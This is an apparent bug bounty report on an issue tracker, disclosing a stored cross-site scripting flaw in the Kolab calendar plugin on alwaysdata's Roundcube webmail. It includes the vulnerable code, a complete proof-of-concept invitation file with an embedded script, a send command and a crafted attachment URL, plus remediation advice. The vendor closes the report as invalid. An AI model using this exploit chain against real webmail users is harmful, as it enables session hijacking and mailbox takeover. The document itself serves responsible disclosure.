Security vulnerabilities

  • Status Closed
  • Assigned To
    cbay
  • Private
Attached to Project: Security vulnerabilities
Opened by bl4ckf1sh - 30.11.2026
Last edited by cbay - 03.12.2026

FS#571 - Cross-customer webmail session takeover via calendar invitation attachment (webmail.alwaysdata.com)

Severity: High (CVSS 3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N = 8.7). Category: customer data access (another customer's mailbox).
Asset: https://webmail.alwaysdata.com (Roundcube with the Kolab calendar plugin)
Endpoint: GET /roundcube/?_task=calendar&_action=get-attachment (parameters _cal, _mbox, _uid, _part, _id, _event)
Tested on: my own two customer accounts only (attacker account bl4ckf1sha, victim account bl4ckf1shb), 30 Nov 2026.

## Summary
Any alwaysdata customer can run JavaScript in another customer's webmail session on webmail.alwaysdata.com. The attacker sends one meeting invitation (.ics) that contains an HTML attachment. When the victim opens the attachment, the script runs on webmail.alwaysdata.com. The victim does not have to accept the invitation.

The webmail session cookies (roundcube_sessid, roundcube_sessauth), set by the webmail login page, are not HttpOnly and the webmail sends no Content-Security-Policy. The script can therefore take over the victim's webmail session: read all mail, send mail as the victim, change identities and filters.

## Root cause
Calendar attachments are served by the Kolab libkolab plugin. A text/html attachment is written into an HTML page without sanitizing, and image/svg+xml is served inline. This is still present in the latest upstream code (roundcubemail-plugins-kolab master 9fb16ec5, 26 Nov 2026):

plugins/libkolab/lib/kolab_attachments_handler.php, attachment_get():
    if ($mimetype == 'text/html' && empty($_GET['_download'])) {
        $OUTPUT = new rcmail_html_page();
        // @TODO: use washtml on $body
        $OUTPUT->write($plugin['body']);

For an invitation that is still unanswered in the inbox, plugins/calendar/calendar.php attachment_get() reads the attachment straight from the email when _cal=–invitation–itip, so no acceptance is needed.

## Steps to reproduce
1. Attacker (any mailbox): create invite.ics below and replace ATTACKER_MAILBOX and VICTIM_MAILBOX. The attachment is base64 of

<body><h1>agenda</h1><script>alert(document.domain)</script></body>
BEGIN:VCALENDAR
VERSION:2.0
PRODID:-//poc//EN
METHOD:REQUEST
BEGIN:VEVENT
UID:poc-1@example.org
DTSTAMP:20261130T120000Z
DTSTART:20261215T100000Z
DTEND:20261215T110000Z
SUMMARY:Project meeting (see agenda.html)
ORGANIZER;CN=Attacker:mailto:ATTACKER_MAILBOX
ATTENDEE;CN=Victim;PARTSTAT=NEEDS-ACTION;RSVP=TRUE:mailto:VICTIM_MAILBOX
ATTACH;FMTTYPE=text/html;ENCODING=BASE64;VALUE=BINARY;X-LABEL=agenda.html:PGh0bWw+PGJvZHk+PGgxPmFnZW5kYTwvaDE+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+PC9ib2R5PjwvaHRtbD4=
END:VEVENT
END:VCALENDAR

2. Send it to the victim as an attachment (from webmail, or with standard tools):

swaks --to VICTIM_MAILBOX --from ATTACKER_MAILBOX --server smtp-<account>.alwaysdata.net:587 \
      --auth LOGIN --auth-user ATTACKER_MAILBOX --tls --attach @invite.ics --header "Subject: Project meeting"

3. Victim: logged in to https://webmail.alwaysdata.com. The invitation shows Accept / Decline. Do not accept it.
4. Victim opens the following link (UID = the message number in the victim's INBOX; it is sequential, so an attacker can simply send a few links):

https://webmail.alwaysdata.com/roundcube/?_task=calendar&_action=get-attachment&_cal=--invitation--itip&_mbox=INBOX&_uid=<UID>&_part=2:0&_id=0&_event=x
 _part=2:0 is the .ics part of a simple text + attachment email, _id=0 the first attachment, _event is ignored. All values are predictable.

5. Result: alert(document.domain) shows webmail.alwaysdata.com.

The same attachment is also reachable through the normal interface ("Check Calendar" on the invitation, then click agenda.html), and after acceptance from the event details in the calendar.

My verification (30 Nov 2026, ~13:35 UTC): invitation from attacker@bbhua928.dpdns.org (my account bl4ckf1sha) to bl4ckf1shb@alwaysdata.net (my account bl4ckf1shb) arrived as UID 2. Opening the link above in the victim session (invitation not accepted) executed the script on webmail.alwaysdata.com. I used a harmless payload that set the page title to "XSS-ITIP-webmail.alwaysdata.com".

## Impact
- Cross-customer: one email plus one click lets any customer run code in any other customer's webmail session.
- Session takeover: document.cookie exposes roundcube_sessid and roundcube_sessauth (not HttpOnly), so the attacker can reuse the victim's session.
- Even without the cookies, the script can read and send mail with same-origin requests (rcmail.env.request_token is on the page).
I did not access any data other than my own test mailboxes.

## Third-party note and request
The root cause is in the third-party Kolab calendar plugin and is not fixed upstream yet. I have not contacted anyone else. Please keep this report private until a fix is in place. I would like to report the root cause to Kolab myself once you agree (or coordinate it with you), with credit to TM3k47.
I understand the third-party rules of the program. I would ask you to consider it under the "third-party elements or their plugins" line of your reward table, and to take into account that the session takeover depends on your own configuration (non-HttpOnly session cookies set by your webmail login, no CSP).

## Suggested remediation
- Serve calendar attachments with Content-Disposition: attachment, and/or add a restrictive Content-Security-Policy (at least on get-attachment) and sandbox the attachment viewer iframe.
- Set HttpOnly on roundcube_sessid and roundcube_sessauth in the webmail login handover.
- Upstream: sanitize text/html attachments with washtml and do not serve image/svg+xml inline.

## Evidence (attached)
- 03_B_receives_unaccepted_invite_from_A.jpg: victim receives the invitation from another customer, not accepted.
- 04_zero_accept_link_executes_title_XSS-ITIP.jpg: the link executes the script in the victim session on webmail.alwaysdata.com.
- 01_event_with_attachments.jpg, 02_html_attachment_executes_on_webmail_origin.jpg: same behaviour through the calendar interface.

Test data left: test invitation mails and calendar events in my own mailboxes only.

Researcher: bl4ckf1sh (Github profile: TM3k47)

Closed by  cbay
03.12.2026 08:11
Reason for closing:  Invalid
Admin
cbay commented on 03.12.2026 08:11

Hello,

The vulnerability is in the Kolab calendar plugin, you should report it to them as we use the latest version.

Kind regards,
Cyril

Loading...

Available keyboard shortcuts

Tasklist

Task Details

Task Editing